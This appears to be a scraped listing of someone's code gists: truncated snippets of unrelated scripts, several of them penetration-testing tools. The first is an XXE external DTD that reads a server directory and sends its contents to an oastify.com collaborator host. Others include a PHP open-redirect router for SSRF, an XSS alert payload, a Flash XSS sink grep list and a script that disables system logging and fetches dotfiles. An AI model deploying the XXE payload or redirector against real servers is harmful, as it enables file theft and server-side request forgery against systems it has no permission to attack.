This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % file SYSTEM "file:///opt/"> | |
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://4qvcx4mt5ytnfqnbhxe3w28tqkwck48t.oastify.com/?x=%file;'>"> | |
%eval; | |
%exfil; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// php -S 0.0.0.0:8000 router.php | |
// http://host/x.jsp?u=http://example.com | |
if (preg_match('/\.(?:jsp)/', $_SERVER["REQUEST_URI"])) { | |
$location = $_GET['u']; | |
Header("Location: ".$location); | |
} else { | |
echo "error"; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
grep_list="clicktag|\ | |
externalInterface\.addCallback|\ | |
externalInterface\.call|\ | |
flash\.external\.ExternalInterface\.call|\ | |
flashvars|\ | |
FScrollPane\.loadScrollContent|\ | |
geturl\(_root|\ | |
geturlBlankVar|\ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dpkg-query -W -f='${binary:Package}\n' | grep -E -e '^(ia32-)?(sun|oracle)-java' -e '^openjdk-' -e '^icedtea' -e '^(default|gcj)-j(re|dk)' -e '^gcj-(.*)-j(re|dk)' -e '^java-common' | xargs sudo apt-get -y remove | |
sudo apt-get -y autoremove | |
# beware - this removes virtualbox config files | |
dpkg -l | grep ^rc | awk '{print($2)}' | xargs sudo apt-get -y purge | |
mkdir /opt/jdk | |
# download 'jdk-8u221-linux-x64.tar.gz' | |
tar -zxf jdk-8u221-linux-x64.tar.gz -C /opt/jdk |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Set Firefox's plugins dir | |
firefox_flash_install_dir="/usr/lib/mozilla/plugins" | |
# Setup Arch | |
case $(uname -m) in | |
x86_64) arch=x86_64 ;; | |
i?86) arch=i386 ;; | |
esac |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alert(document.location) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package | |
{ | |
import flash.display.Sprite; | |
import flash.text.TextField; | |
import flash.external.ExternalInterface; | |
public class xss extends Sprite | |
{ | |
public function xss() | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This assumes that the ~6GB mojave installer is in the /Applications folder. | |
# If it's not, just open the App Store, search Mojave, and you can download the installer file from there. | |
hdiutil create -o /tmp/mojave.cdr -size 6g -layout SPUD -fs HFS+J | |
hdiutil attach /tmp/mojave.cdr.dmg -noverify -mountpoint /Volumes/install_mojave | |
sudo /Applications/Install\ macOS\ mojave.app/Contents/Resources/createinstallmedia --volume /Volumes/install_mojave | |
mv /tmp/mojave.cdr.dmg ~/Desktop/InstallSystem.dmg | |
hdiutil detach /Volumes/Install\ macOS\ mojave |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Disable logging | |
service rsyslog stop | |
systemctl disable rsyslog | |
rm ~/.profile ~/.bashrc | |
wget -O ~/.profile https://raw.githubusercontent.com/jamieparfet/zone/master/dotfiles/.profile | |
wget -O ~/.bashrc https://raw.githubusercontent.com/jamieparfet/zone/master/dotfiles/.bashrc | |
wget -O ~/.tmux.conf https://raw.githubusercontent.com/jamieparfet/zone/master/dotfiles/.tmux.conf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import xml.etree.ElementTree as etree | |
import shutil | |
import os | |
first = 1 | |
for fileName in os.listdir("."): | |
if ".nessus" in fileName: | |
print(":: Parsing", fileName) | |
if first: | |
mainTree = etree.parse(fileName) |
NewerOlder